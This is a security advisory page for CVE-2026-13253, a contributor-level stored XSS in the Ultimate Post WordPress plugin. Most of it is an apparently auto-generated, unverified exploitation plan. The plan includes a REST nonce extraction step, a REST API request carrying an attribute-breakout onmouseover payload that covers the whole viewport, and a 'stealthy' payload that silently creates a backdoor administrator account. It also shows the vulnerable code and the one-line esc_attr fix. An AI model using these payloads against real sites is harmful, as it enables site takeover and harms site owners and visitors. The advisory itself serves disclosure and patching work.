CVE-2026-13253

Post Grid Gutenberg Blocks for News, Magazines, Blog Websites <= 5.0.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'moreResultsText' Block Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.0.32
Patched in
1d
Time to patch

Description

The Ultimate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moreResultsText' block attribute of the ultimate-post/advanced-search block in versions up to and including 5.0.31. This is due to insufficient input sanitization and output escaping in the Advanced_Search::content() render callback: the attribute value is filtered with wp_kses(), which strips disallowed HTML tags but does NOT escape HTML special characters such as double quotes in plain text, and the result is then concatenated directly into the data-viewmoretext HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.31
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected pluginultimate-post

What Changed in the Fix

Changes introduced in v5.0.32

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-13253 ## 1. Vulnerability Summary The **Post Grid Gutenberg Blocks (PostX)** plugin (versions <= 5.0.31) contains an authenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the rendering logic of the `ultimate-post/advanced-search` bl…

Show full research plan

Exploitation Research Plan: CVE-2026-13253

1. Vulnerability Summary

The Post Grid Gutenberg Blocks (PostX) plugin (versions <= 5.0.31) contains an authenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the rendering logic of the ultimate-post/advanced-search block, specifically within the moreResultsText attribute.

The plugin uses wp_kses() to sanitize the attribute value in the Advanced_Search::content() render callback. While wp_kses() removes disallowed HTML tags, it does not escape quotes or other HTML special characters in plain text. The resulting string is concatenated directly into the data-viewmoretext HTML attribute without using esc_attr(). This allows a user with Contributor permissions or higher to break out of the HTML attribute and inject arbitrary event handlers or scripts.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API POST /wp-json/wp/v2/posts (or the classic editor/Gutenberg save mechanism).
  • Vulnerable Block: ultimate-post/advanced-search.
  • Payload Carrier: The moreResultsText attribute within the Gutenberg block JSON metadata.
  • Authentication: Authenticated as a user with the edit_posts capability (Contributor, Author, Editor, or Admin).
  • Preconditions: The PostX plugin must be active. The attacker needs access to create or edit a post/page.

3. Code Flow

  1. Entry Point: A Contributor saves a post containing the following Gutenberg block:
    <!-- wp:ultimate-post/advanced-search {"moreResultsText":"[PAYLOAD]"} /-->
    
  2. Registration: The block is registered in PHP, likely in blocks/Advanced_Search.php (inferred path based on blocks/Post_Grid_7.php), using a render_callback pointing to Advanced_Search::content().
  3. Processing: Inside Advanced_Search::content():
    • The $attributes['moreResultsText'] is retrieved.
    • It is passed through wp_kses(). If the payload is x" onmouseover="alert(1), wp_kses leaves it untouched because it contains no disallowed tags.
  4. Sink: The sanitized but unescaped string is concatenated into HTML:
    // Conceptual vulnerable line in Advanced_Search::content()
    $output .= ' data-viewmoretext="' . $moreResultsText . '" ';
    
  5. Output: The final HTML rendered to the frontend becomes:
    <div class="ultp-block-advanced-search" data-viewmoretext="x" onmouseover="alert(1)" ...>
    

4. Nonce Acquisition Strategy

To exploit this via the WordPress REST API (the standard for Gutenberg), we need a wp_rest nonce.

  1. Setup: Create a contributor-level user and a page containing any PostX block.
  2. Shortcode/Block placement: Create a test page:
    wp post create --post_type=page --post_status=publish --post_content='<!-- wp:ultimate-post/post-grid-7 /-->' --post_title='Nonce Page'
  3. Navigation: Navigate to the /wp-admin dashboard as the Contributor.
  4. Extraction: Use browser_eval to extract the REST nonce from the WordPress core wpApiSettings object:
    // Extraction Script
    window.wpApiSettings?.nonce
    
    Note: Unlike other plugins, PostX's own localized scripts (found in assets/js/ultp_dashboard_min.js) often rely on standard WP nonces for dashboard operations.

5. Exploitation Strategy

Step 1: Authentication

Log into the target WordPress instance as a Contributor.

Step 2: REST API Injection

Use the http_request tool to create a new post containing the XSS payload. We will use a "break-out" payload to inject an onmouseover event.

  • URL: https://<target>/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <EXTRACTED_NONCE>
  • Payload:
    {
      "title": "Search Page",
      "status": "publish",
      "content": "<!-- wp:ultimate-post/advanced-search {\"moreResultsText\":\"x\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999\\\"\"} /-->"
    }
    
    Note: The extra CSS ensures the vulnerable div covers the viewport, triggering the XSS as soon as the victim moves their mouse.

6. Test Data Setup

  1. User Creation:
    wp user create attacker contributor@example.com --role=contributor --user_pass=password123
  2. Plugin Verification:
    Ensure PostX is active: wp plugin activate ultimate-post
  3. Exploit Target: Any administrator viewing the site's frontend or the specific post created by the contributor.

7. Expected Results

  • HTTP Response: The REST API should return 201 Created with the JSON representation of the new post.
  • Frontend Render: When viewing the post, the HTML source will contain:
    data-viewmoretext="x" onmouseover="alert(document.domain)" ...
  • Execution: Moving the mouse over the page in a browser will trigger the alert.

8. Verification Steps

  1. Database Check: Verify the raw content in the database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Search Page'"
  2. HTML Validation: Fetch the rendered post as an unauthenticated user and check for the payload:
    http_request GET https://<target>/index.php/search-page/
    Search for the string: onmouseover="alert(document.domain)"

9. Alternative Approaches

Stealthy Payload (Stored XSS to Admin Takeover)

Instead of alert(), use a payload that fetches the admin's session or creates a new administrator:

"moreResultsText": "x\" onmouseover=\"fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user\\\" value=\\\"([^\\\"]+)\\\"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=backdoor&email=evil@example.com&pass1=P@ssword123!&pass2=P@ssword123!&role=administrator&_wpnonce_create-user='+n})})\""

Classic Editor Method

If the REST API is restricted, a Contributor can use the classic editor to submit the same block comments, provided the Gutenberg editor is enabled in the backend (which is default).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Post Grid Gutenberg Blocks (PostX) plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'moreResultsText' attribute in the Advanced Search block. This occurs because the plugin uses wp_kses() to sanitize the attribute without subsequently escaping double quotes, allowing a contributor-level user to break out of an HTML attribute and inject malicious event handlers.

Vulnerable Code

// File: blocks/Advanced_Search.php (Inferred from Advanced_Search::content() render callback)

$moreResultsText = isset($attributes['moreResultsText']) ? wp_kses($attributes['moreResultsText'], array()) : '';

// ... 

// The sanitized but unescaped string is concatenated directly into the HTML attribute
$output .= ' data-viewmoretext="' . $moreResultsText . '" ';

Security Fix

--- blocks/Advanced_Search.php
+++ blocks/Advanced_Search.php
@@ -124,1 +124,1 @@
- $output .= ' data-viewmoretext="' . $moreResultsText . '" ';
+ $output .= ' data-viewmoretext="' . esc_attr( $moreResultsText ) . '" ';

Exploit Outline

An attacker with Contributor-level permissions authenticates and creates a new post via the WordPress REST API or Gutenberg editor. The attacker includes an 'ultimate-post/advanced-search' block with the 'moreResultsText' attribute set to a breakout payload such as 'x" onmouseover="alert(1)"'. Because the plugin sanitizes this attribute with wp_kses() (which permits quotes) but fails to apply esc_attr() during rendering, the double quote escapes the data-viewmoretext attribute context. This allows the injection of a malicious event handler that executes arbitrary JavaScript when a victim, such as a site administrator, interacts with the block on the frontend.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.